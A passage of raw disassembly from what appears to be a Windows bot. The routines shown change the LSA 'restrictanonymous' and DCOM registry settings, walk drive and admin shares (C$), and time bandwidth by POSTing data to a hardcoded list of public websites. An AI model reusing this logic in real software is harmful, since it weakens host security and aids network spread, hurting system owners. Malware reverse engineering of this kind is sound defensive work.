push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A483: ; CODE XREF: sub_41A3C6+A1j
lea eax, [ebp+var_214]
push eax
call sub_415D38
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push edi
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_4CBA54 ; RegOpenKeyExA
test eax, eax
jnz short loc_41A4F1
lea eax, [ebp+var_8]
push 4
push eax
push 4
push edi
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], 1
call dword_4CBA08 ; RegSetValueExA
test eax, eax
jz short loc_41A4D3
push offset dword_43A728
jmp short loc_41A4D8
; ---------------------------------------------------------------------------
loc_41A4D3: ; CODE XREF: sub_41A3C6+104j
push offset dword_43A6F4
loc_41A4D8: ; CODE XREF: sub_41A3C6+10Bj
lea eax, [ebp+var_214]
push eax
call sub_41C266
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CB9C0 ; RegCloseKey
jmp short loc_41A50B
; ---------------------------------------------------------------------------
loc_41A4F1: ; CODE XREF: sub_41A3C6+E2j
push offset dword_43A6B8
jmp short loc_41A4FD
; ---------------------------------------------------------------------------
loc_41A4F8: ; CODE XREF: sub_41A3C6+13j
push offset dword_43A688
loc_41A4FD: ; CODE XREF: sub_41A3C6+130j
lea eax, [ebp+var_214]
push eax
call sub_41C266
pop ecx
pop ecx
loc_41A50B: ; CODE XREF: sub_41A3C6+129j
cmp [ebp+arg_C], edi
jnz short loc_41A52A
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A52A: ; CODE XREF: sub_41A3C6+148j
lea eax, [ebp+var_214]
push eax
call sub_415D38
cmp dword_4CBADC, edi
pop ecx
jnz loc_41A6A5
push ebx
mov [ebp+var_4], edi
mov [ebp+var_14], edi
mov [ebp+var_C], edi
loc_41A54D: ; CODE XREF: sub_41A3C6+2C3j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push 0FFFFFFFFh
push eax
push 1F6h
push edi
call dword_4CB928
cmp eax, edi
mov [ebp+var_10], eax
jz short loc_41A5EA
cmp eax, 0EAh
jz short loc_41A5EA
mov esi, offset off_43A550
loc_41A57E: ; CODE XREF: sub_41A3C6+21Dj
push dword ptr [esi]
push edi
call sub_4191B8
pop ecx
pop ecx
push dword ptr [esi]
test eax, eax
jnz short loc_41A595
push offset dword_43A664
jmp short loc_41A59A
; ---------------------------------------------------------------------------
loc_41A595: ; CODE XREF: sub_41A3C6+1C6j
push offset dword_43A638
loc_41A59A: ; CODE XREF: sub_41A3C6+1CDj
lea eax, [ebp+var_214]
push 200h
push eax
call sub_41C360
add esp, 10h
cmp [ebp+arg_C], edi
jnz short loc_41A5CD
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A5CD: ; CODE XREF: sub_41A3C6+1EBj
lea eax, [ebp+var_214]
push eax
call sub_415D38
add esi, 8
pop ecx
cmp esi, offset dword_43A570
jb short loc_41A57E
jmp loc_41A682
; ---------------------------------------------------------------------------
loc_41A5EA: ; CODE XREF: sub_41A3C6+1AAj
; sub_41A3C6+1B1j
mov esi, [ebp+var_8]
push 1
pop ebx
cmp [ebp+var_4], ebx
jb loc_41A679
loc_41A5F9: ; CODE XREF: sub_41A3C6+2AFj
mov edi, [esi]
push edi
call sub_41E0B7
cmp word ptr [edi+eax*2-2], 24h
pop ecx
jnz short loc_41A66E
push edi
call sub_4190A5
push eax
push 0
call sub_4191B8
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_41A628
push offset dword_43A614
jmp short loc_41A62D
; ---------------------------------------------------------------------------
loc_41A628: ; CODE XREF: sub_41A3C6+259j
push offset dword_43A5E8
loc_41A62D: ; CODE XREF: sub_41A3C6+260j
lea eax, [ebp+var_214]
push 200h
push eax
call sub_41C360
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_41A661
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A661: ; CODE XREF: sub_41A3C6+27Fj
lea eax, [ebp+var_214]
push eax
call sub_415D38
pop ecx
loc_41A66E: ; CODE XREF: sub_41A3C6+242j
add esi, 28h
inc ebx
cmp ebx, [ebp+var_4]
jbe short loc_41A5F9
xor edi, edi
loc_41A679: ; CODE XREF: sub_41A3C6+22Dj
push [ebp+var_8]
call dword_4CBA74
loc_41A682: ; CODE XREF: sub_41A3C6+21Fj
cmp [ebp+var_10], 0EAh
jz loc_41A54D
lea eax, [ebp+var_214]
push offset dword_43A5C0
push eax
call sub_41C266
pop ecx
pop ecx
pop ebx
jmp short loc_41A6B8
; ---------------------------------------------------------------------------
loc_41A6A5: ; CODE XREF: sub_41A3C6+177j
lea eax, [ebp+var_214]
push offset dword_43A590
push eax
call sub_41C266
pop ecx
pop ecx
loc_41A6B8: ; CODE XREF: sub_41A3C6+2DDj
cmp [ebp+arg_C], edi
jnz short loc_41A6D6
push edi
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A6D6: ; CODE XREF: sub_41A3C6+2F5j
lea eax, [ebp+var_214]
push eax
call sub_415D38
pop ecx
push 1
pop eax
pop edi
pop esi
leave
retn
sub_41A3C6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A6EA proc near ; CODE XREF: sub_41A366:loc_41A3ADp
var_220 = byte ptr -220h
var_20 = byte ptr -20h
var_14 = byte ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 220h
push ebx
xor ebx, ebx
cmp dword_4CBAB4, ebx
push esi
jnz loc_41A818
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push ebx
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_4CBA54 ; RegOpenKeyExA
test eax, eax
jnz short loc_41A775
mov ax, word_4392E4
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push ebx
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_4CBA08 ; RegSetValueExA
test eax, eax
jz short loc_41A757
push offset dword_43A940
jmp short loc_41A75C
; ---------------------------------------------------------------------------
loc_41A757: ; CODE XREF: sub_41A6EA+64j
push offset dword_43A924
loc_41A75C: ; CODE XREF: sub_41A6EA+6Bj
lea eax, [ebp+var_220]
push eax
call sub_41C266
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CB9C0 ; RegCloseKey
jmp short loc_41A788
; ---------------------------------------------------------------------------
loc_41A775: ; CODE XREF: sub_41A6EA+36j
lea eax, [ebp+var_220]
push offset dword_43A778
push eax
call sub_41C266
pop ecx
pop ecx
loc_41A788: ; CODE XREF: sub_41A6EA+89j
cmp [ebp+arg_C], ebx
jnz short loc_41A7A7
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A7A7: ; CODE XREF: sub_41A6EA+A1j
lea eax, [ebp+var_220]
push eax
call sub_415D38
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push ebx
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_4CBA54 ; RegOpenKeyExA
test eax, eax
jnz short loc_41A811
lea eax, [ebp+var_8]
push 4
push eax
push 4
push ebx
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], ebx
call dword_4CBA08 ; RegSetValueExA
test eax, eax
jz short loc_41A7F3
push offset dword_43A8E4
jmp short loc_41A7F8
; ---------------------------------------------------------------------------
loc_41A7F3: ; CODE XREF: sub_41A6EA+100j
push offset dword_43A8AC
loc_41A7F8: ; CODE XREF: sub_41A6EA+107j
lea eax, [ebp+var_220]
push eax
call sub_41C266
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CB9C0 ; RegCloseKey
jmp short loc_41A82B
; ---------------------------------------------------------------------------
loc_41A811: ; CODE XREF: sub_41A6EA+E2j
push offset dword_43A870
jmp short loc_41A81D
; ---------------------------------------------------------------------------
loc_41A818: ; CODE XREF: sub_41A6EA+13j
push offset dword_43A688
loc_41A81D: ; CODE XREF: sub_41A6EA+12Cj
lea eax, [ebp+var_220]
push eax
call sub_41C266
pop ecx
pop ecx
loc_41A82B: ; CODE XREF: sub_41A6EA+125j
cmp [ebp+arg_C], ebx
jnz short loc_41A84A
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A84A: ; CODE XREF: sub_41A6EA+144j
lea eax, [ebp+var_220]
push eax
call sub_415D38
cmp dword_4CBADC, ebx
pop ecx
jnz loc_41A9BF
push edi
mov esi, offset off_43A550
mov edi, 200h
loc_41A86E: ; CODE XREF: sub_41A6EA+1E9j
push dword ptr [esi+4]
push dword ptr [esi]
push ebx
call sub_41910C
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_41A889
push offset dword_43A850
jmp short loc_41A88E
; ---------------------------------------------------------------------------
loc_41A889: ; CODE XREF: sub_41A6EA+196j
push offset dword_43A828
loc_41A88E: ; CODE XREF: sub_41A6EA+19Dj
lea eax, [ebp+var_220]
push edi
push eax
call sub_41C360
add esp, 10h
cmp [ebp+arg_C], ebx
jnz short loc_41A8BD
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A8BD: ; CODE XREF: sub_41A6EA+1B7j
lea eax, [ebp+var_220]
push eax
call sub_415D38
add esi, 8
pop ecx
cmp esi, offset off_43A560
jb short loc_41A86E
call dword_427198 ; GetLogicalDrives
test eax, eax
mov [ebp+var_4], eax
mov bl, 41h
jz loc_41A9A7
loc_41A8E8: ; CODE XREF: sub_41A6EA+2B7j
mov eax, [ebp+var_4]
and eax, 1
cmp al, 1
jnz loc_41A99C
cmp bl, 41h
jz loc_41A99C
movsx esi, bl
push esi
push offset aC_2 ; "%c$"
lea eax, [ebp+var_14]
push 0Ah
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_20]
push esi
push offset aC_1 ; "%c:\\"
push 0Ah
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_20]
push eax
call dword_4CBA44 ; GetDriveTypeA
cmp eax, 3
jnz short loc_41A99C
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_14]
push eax
push 0
call sub_41910C
add esp, 0Ch
test eax, eax
lea eax, [ebp+var_14]
push eax
jnz short loc_41A95A
push offset dword_43A850
jmp short loc_41A95F
; ---------------------------------------------------------------------------
loc_41A95A: ; CODE XREF: sub_41A6EA+267j
push offset dword_43A828
loc_41A95F: ; CODE XREF: sub_41A6EA+26Ej
lea eax, [ebp+var_220]
push edi
push eax
call sub_41C360
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_41A98F
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A98F: ; CODE XREF: sub_41A6EA+289j
lea eax, [ebp+var_220]
push eax
call sub_415D38
pop ecx
loc_41A99C: ; CODE XREF: sub_41A6EA+206j
; sub_41A6EA+20Fj ...
inc bl
shr [ebp+var_4], 1
jnz loc_41A8E8
loc_41A9A7: ; CODE XREF: sub_41A6EA+1F8j
lea eax, [ebp+var_220]
push offset dword_43A7F8
push eax
call sub_41C266
pop ecx
xor ebx, ebx
pop ecx
pop edi
jmp short loc_41A9D2
; ---------------------------------------------------------------------------
loc_41A9BF: ; CODE XREF: sub_41A6EA+173j
lea eax, [ebp+var_220]
push offset dword_43A590
push eax
call sub_41C266
pop ecx
pop ecx
loc_41A9D2: ; CODE XREF: sub_41A6EA+2D3j
cmp [ebp+arg_C], ebx
jnz short loc_41A9F0
push ebx
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A9F0: ; CODE XREF: sub_41A6EA+2EBj
lea eax, [ebp+var_220]
push eax
call sub_415D38
pop ecx
push 1
pop eax
pop esi
pop ebx
leave
retn
sub_41A6EA endp
; =============== S U B R O U T I N E =======================================
sub_41AA04 proc near ; CODE XREF: sub_41ABFB+CBp
; sub_41ABFB+DDp ...
arg_0 = dword ptr 4
call dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
pop ecx
call sub_41C2C2
cdq
idiv [esp+arg_0]
mov eax, edx
retn
sub_41AA04 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AA1E proc near ; CODE XREF: sub_41ABFB+D4p
; sub_41ABFB+E6p ...
var_38 = dword ptr -38h
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_18 = qword ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_41B9C0
mov esi, 0FFh
pop ecx
cmp eax, esi
ja loc_41ABF7
push 10h
lea eax, [ebp+var_28]
push 0
push eax
call sub_41BF70
push [ebp+arg_0]
mov [ebp+var_28], 2
call sub_40A8F0
add esp, 10h
mov [ebp+var_24], eax
test eax, eax
jz loc_41ABF7
push 50h
call dword_4CB9E4 ; htons
push 6
push 1
push 2
mov [ebp+var_26], ax
call dword_4CBA64 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_41ABF7
lea ecx, [ebp+var_28]
push 10h
push ecx
push eax
call dword_4CB98C ; connect
cmp eax, 0FFFFFFFFh
jz loc_41ABF7
push 32003h
call sub_41D9A5
mov edi, dword_4270B0
mov ebx, eax
pop ecx
mov [ebp+var_8], ebx
call edi ; GetTickCount
push eax
call sub_41C2B8
call sub_41C2C2
cdq
idiv esi
mov [esp+38h+var_38], 32001h
push 0
push ebx
movsx esi, dl
call sub_41BF70
push 32000h
push esi
push ebx
call sub_41BF70
push ebx
call sub_41B9C0
push 323EAh
mov ebx, eax
call sub_41D9A5
add esp, 20h
mov esi, eax
push ebx
push [ebp+arg_0]
push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
push esi
call sub_41C266
push [ebp+var_8]
push esi
call sub_41C8A0
push offset asc_4349F4 ; "\r\n"
push esi
call sub_41C8A0
push esi
call sub_41B9C0
mov ebx, eax
add esp, 24h
mov [ebp+var_10], ebx
call edi ; GetTickCount
mov dword ptr [ebp+var_18+4], eax
xor eax, eax
test ebx, ebx
mov [ebp+arg_0], eax
jbe short loc_41AB77
mov [ebp+var_C], ebx
mov ebx, 400h
jmp short loc_41AB47
; ---------------------------------------------------------------------------
loc_41AB44: ; CODE XREF: sub_41AA1E+157j
mov eax, [ebp+arg_0]
loc_41AB47: ; CODE XREF: sub_41AA1E+124j
mov ecx, [ebp+var_10]
push 0
sub ecx, eax
cmp ecx, ebx
jnb short loc_41AB57
push [ebp+var_C]
jmp short loc_41AB58
; ---------------------------------------------------------------------------
loc_41AB57: ; CODE XREF: sub_41AA1E+132j
push ebx
loc_41AB58: ; CODE XREF: sub_41AA1E+137j
add eax, esi
push eax
push [ebp+var_4]
call dword_4CBA34 ; send
cmp eax, 0FFFFFFFFh
jz short loc_41ABDE
add [ebp+arg_0], ebx
sub [ebp+var_C], ebx
mov eax, [ebp+arg_0]
cmp eax, [ebp+var_10]
jb short loc_41AB44
loc_41AB77: ; CODE XREF: sub_41AA1E+11Aj
call edi ; GetTickCount
sub eax, dword ptr [ebp+var_18+4]
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
fmul flt_4276F4
fst [ebp+arg_0]
fcomp flt_4276F0
fnstsw ax
sahf
jnz short loc_41AB9F
fld1
fstp [ebp+arg_0]
loc_41AB9F: ; CODE XREF: sub_41AA1E+17Aj
push [ebp+var_4]
call dword_4CBA7C ; closesocket
push [ebp+var_8]
call sub_41BA91
push esi
call sub_41BA91
mov eax, [ebp+var_10]
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
pop ecx
fild [ebp+var_18]
pop ecx
fdiv [ebp+arg_0]
fmul flt_4276EC
fmul flt_4276E8
call sub_41D174
loc_41ABD9: ; CODE XREF: sub_41AA1E+1DBj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41ABDE: ; CODE XREF: sub_41AA1E+149j
push [ebp+var_4]
call dword_4CBA7C ; closesocket
push [ebp+var_8]
call sub_41BA91
push esi
call sub_41BA91
pop ecx
pop ecx
loc_41ABF7: ; CODE XREF: sub_41AA1E+19j
; sub_41AA1E+42j ...
xor eax, eax
jmp short loc_41ABD9
sub_41AA1E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ABFB proc near ; CODE XREF: sub_401ACD+2E1Ep
var_26C = byte ptr -26Ch
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 26Ch
push ebx
push esi
push edi
push 8
mov [ebp+var_4], 3
mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
mov [ebp+var_34], offset aVerio_fr ; "verio.fr"
mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
mov [ebp+var_20], offset aWww_google_it ; "www.google.it"
mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com"
mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net"
mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
mov [ebp+var_48], offset aWww_above_net ; "www.above.net"
mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
mov [ebp+var_40], offset aWww_google_com ; "www.google.com"
mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
call sub_41AA04
push [ebp+eax*4+var_3C]
call sub_41AA1E
push 8
mov esi, eax
call sub_41AA04
push [ebp+eax*4+var_3C]
call sub_41AA1E
add esp, 10h
test esi, esi
jz short loc_41ACFC
test eax, eax
jz short loc_41ACF8
lea ebx, [eax+esi]
shr ebx, 1
jmp short loc_41ACFE
; ---------------------------------------------------------------------------
loc_41ACF8: ; CODE XREF: sub_41ABFB+F4j
mov ebx, esi
jmp short loc_41ACFE
; ---------------------------------------------------------------------------
loc_41ACFC: ; CODE XREF: sub_41ABFB+F0j
mov ebx, eax
loc_41ACFE: ; CODE XREF: sub_41ABFB+FBj
; sub_41ABFB+FFj
push 0Ch
call sub_41AA04
push [ebp+eax*4+var_6C]
call sub_41AA1E
push 0Ch
mov edi, eax
call sub_41AA04
push [ebp+eax*4+var_6C]
call sub_41AA1E
add esp, 10h
test edi, edi
jz short loc_41AD36
test eax, eax
jz short loc_41AD32
lea esi, [eax+edi]
shr esi, 1
jmp short loc_41AD38
; ---------------------------------------------------------------------------
loc_41AD32: ; CODE XREF: sub_41ABFB+12Ej
mov esi, edi
jmp short loc_41AD38
; ---------------------------------------------------------------------------
loc_41AD36: ; CODE XREF: sub_41ABFB+12Aj
mov esi, eax
loc_41AD38: ; CODE XREF: sub_41ABFB+135j
; sub_41ABFB+139j
push 6
call sub_41AA04
push [ebp+eax*4+var_1C]
call sub_41AA1E
push 6
mov edi, eax
call sub_41AA04
push [ebp+eax*4+var_1C]
call sub_41AA1E
add esp, 10h
test edi, edi
jz short loc_41AD70
test eax, eax
jz short loc_41AD6C
lea ecx, [eax+edi]
shr ecx, 1
jmp short loc_41AD72
; ---------------------------------------------------------------------------
loc_41AD6C: ; CODE XREF: sub_41ABFB+168j
mov ecx, edi
jmp short loc_41AD72
; ---------------------------------------------------------------------------
loc_41AD70: ; CODE XREF: sub_41ABFB+164j
mov ecx, eax
loc_41AD72: ; CODE XREF: sub_41ABFB+16Fj
; sub_41ABFB+173j
xor eax, eax
test ebx, ebx
jz short loc_41AD7F
mov edi, [ebp+var_4]
mov eax, ebx
jmp short loc_41AD82
; ---------------------------------------------------------------------------
loc_41AD7F: ; CODE XREF: sub_41ABFB+17Bj
push 2
pop edi
loc_41AD82: ; CODE XREF: sub_41ABFB+182j
test esi, esi
jz short loc_41AD8A
add eax, esi
jmp short loc_41AD8B
; ---------------------------------------------------------------------------
loc_41AD8A: ; CODE XREF: sub_41ABFB+189j
dec edi
loc_41AD8B: ; CODE XREF: sub_41ABFB+18Dj
test ecx, ecx
jz short loc_41AD93
add eax, ecx
jmp short loc_41AD94
; ---------------------------------------------------------------------------
loc_41AD93: ; CODE XREF: sub_41ABFB+192j
dec edi
loc_41AD94: ; CODE XREF: sub_41ABFB+196j
xor edx, edx
div edi
push eax
push ecx
push esi
push ebx
lea eax, [ebp+var_26C]
push offset dword_43A998
push eax
call sub_41C266
push 0
lea eax, [ebp+var_26C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
lea eax, [ebp+var_26C]
push eax
call sub_415D38
add esp, 30h
pop edi
pop esi
pop ebx
leave
retn
sub_41ABFB endp
; =============== S U B R O U T I N E =======================================
sub_41ADD8 proc near ; CODE XREF: sub_401ACD+257Bp
; sub_401ACD+29CDp ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
call dword_4270B0 ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov ebx, 15180h
xor edx, edx
mov esi, ebx
mov edi, 0E10h
mov ebp, edi
push 3Ch
mov ecx, eax
sub ecx, [esp+14h+arg_0]
mov eax, ecx
div esi
mov esi, edx
xor edx, edx
mov eax, esi
div ebp
pop ebp
mov eax, edx
xor edx, edx
div ebp
xor edx, edx
push eax
mov eax, esi
div edi
xor edx, edx
mov esi, offset dword_4DBCA0
push eax
mov eax, ecx
div ebx
push eax
push offset aDdDhDm ; "%dd %dh %dm"
push 32h
push esi
call sub_41C360
add esp, 18h
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41ADD8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AE41 proc near ; CODE XREF: sub_4172C1+24p
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_84 = dword ptr -84h
push ebp
mov ebp, esp
sub esp, 94h
lea eax, [ebp+var_94]
push esi
push eax
xor esi, esi
mov [ebp+var_94], 94h
call dword_4270D0 ; GetVersionExA
test eax, eax
jz short loc_41AED4
cmp [ebp+var_90], 4
jnz short loc_41AEAA
cmp [ebp+var_8C], esi
jnz short loc_41AE92
cmp [ebp+var_84], 1
jnz short loc_41AE85
push 1
pop esi
loc_41AE85: ; CODE XREF: sub_41AE41+3Fj
cmp [ebp+var_84], 2
jnz short loc_41AED4
push 1
jmp short loc_41AED3
; ---------------------------------------------------------------------------
loc_41AE92: ; CODE XREF: sub_41AE41+36j
cmp [ebp+var_8C], 0Ah
jnz short loc_41AE9F
loc_41AE9B: ; CODE XREF: sub_41AE41+78j
push 2
jmp short loc_41AED3
; ---------------------------------------------------------------------------
loc_41AE9F: ; CODE XREF: sub_41AE41+58j
cmp [ebp+var_8C], 5Ah
jnz short loc_41AED4
jmp short loc_41AEC4
; ---------------------------------------------------------------------------
loc_41AEAA: ; CODE XREF: sub_41AE41+2Ej
cmp [ebp+var_90], 5
jnz short loc_41AED4
cmp [ebp+var_8C], esi
jz short loc_41AE9B
cmp [ebp+var_8C], 1
jnz short loc_41AEC8
loc_41AEC4: ; CODE XREF: sub_41AE41+67j
push 3
jmp short loc_41AED3
; ---------------------------------------------------------------------------
loc_41AEC8: ; CODE XREF: sub_41AE41+81j
cmp [ebp+var_8C], 2
jnz short loc_41AED4
push 7
loc_41AED3: ; CODE XREF: sub_41AE41+4Fj
; sub_41AE41+5Cj ...
pop esi
loc_41AED4: ; CODE XREF: sub_41AE41+25j
; sub_41AE41+4Bj ...
mov eax, esi
pop esi
leave
retn
sub_41AE41 endp
; =============== S U B R O U T I N E =======================================
sub_41AED9 proc near ; CODE XREF: sub_41AF8F+290p
push ebx
push esi
push edi
mov esi, 0F4240h
loc_41AEE1: ; CODE XREF: sub_41AED9+2Fj
; sub_41AED9+35j
rdtsc
push 3E8h
mov edi, edx
mov ebx, eax
call dword_427080 ; Sleep
rdtsc
sub eax, ebx
push 0
sbb edx, edi
push esi
push edx
push eax
call sub_41DCB0
mov edi, edx
mov ebx, eax
test edi, edi
ja short loc_41AEE1
jb short loc_41AF10
cmp ebx, esi
ja short loc_41AEE1
loc_41AF10: ; CODE XREF: sub_41AED9+31j
push 0
push 64h
push edi
push ebx
call sub_41DD20
mov ecx, edx
push 64h
xor edx, edx
mov esi, eax
test ecx, ecx
pop eax
ja short loc_41AF83
jb short loc_41AF2F
cmp esi, 50h
jnb short loc_41AF34
loc_41AF2F: ; CODE XREF: sub_41AED9+4Fj
push 4Bh
xor edx, edx
pop eax
loc_41AF34: ; CODE XREF: sub_41AED9+54j
test ecx, ecx
ja short loc_41AF83
jb short loc_41AF3F
cmp esi, 47h
jnb short loc_41AF44
loc_41AF3F: ; CODE XREF: sub_41AED9+5Fj
push 42h
xor edx, edx
pop eax
loc_41AF44: ; CODE XREF: sub_41AED9+64j
test ecx, ecx
ja short loc_41AF83
jb short loc_41AF4F
cmp esi, 37h
jnb short loc_41AF54
loc_41AF4F: ; CODE XREF: sub_41AED9+6Fj
push 32h
xor edx, edx
pop eax
loc_41AF54: ; CODE XREF: sub_41AED9+74j
test ecx, ecx
ja short loc_41AF83
jb short loc_41AF5F
cmp esi, 26h
jnb short loc_41AF64
loc_41AF5F: ; CODE XREF: sub_41AED9+7Fj
push 21h
xor edx, edx
pop eax
loc_41AF64: ; CODE XREF: sub_41AED9+84j
test ecx, ecx
ja short loc_41AF83
jb short loc_41AF6F
cmp esi, 1Eh
jnb short loc_41AF74
loc_41AF6F: ; CODE XREF: sub_41AED9+8Fj
push 19h
xor edx, edx
pop eax
loc_41AF74: ; CODE XREF: sub_41AED9+94j
test ecx, ecx
ja short loc_41AF83
jb short loc_41AF7F
cmp esi, 0Ah
jnb short loc_41AF83
loc_41AF7F: ; CODE XREF: sub_41AED9+9Fj
xor eax, eax
xor edx, edx
loc_41AF83: ; CODE XREF: sub_41AED9+4Dj
; sub_41AED9+5Dj ...
sub eax, esi
sbb edx, ecx
add eax, ebx
adc edx, edi
pop edi
pop esi
pop ebx
retn
sub_41AED9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AF8F proc near ; CODE XREF: sub_401ACD+2728p
var_7E8 = byte ptr -7E8h
var_668 = byte ptr -668h
var_5E8 = byte ptr -5E8h
var_568 = byte ptr -568h
var_4E8 = byte ptr -4E8h
var_3E4 = byte ptr -3E4h
var_2E8 = byte ptr -2E8h
var_25C = word ptr -25Ch
var_25A = byte ptr -25Ah
var_15C = byte ptr -15Ch
var_114 = byte ptr -114h
var_CC = dword ptr -0CCh
var_C8 = dword ptr -0C8h
var_C4 = dword ptr -0C4h
var_C0 = dword ptr -0C0h
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = byte ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
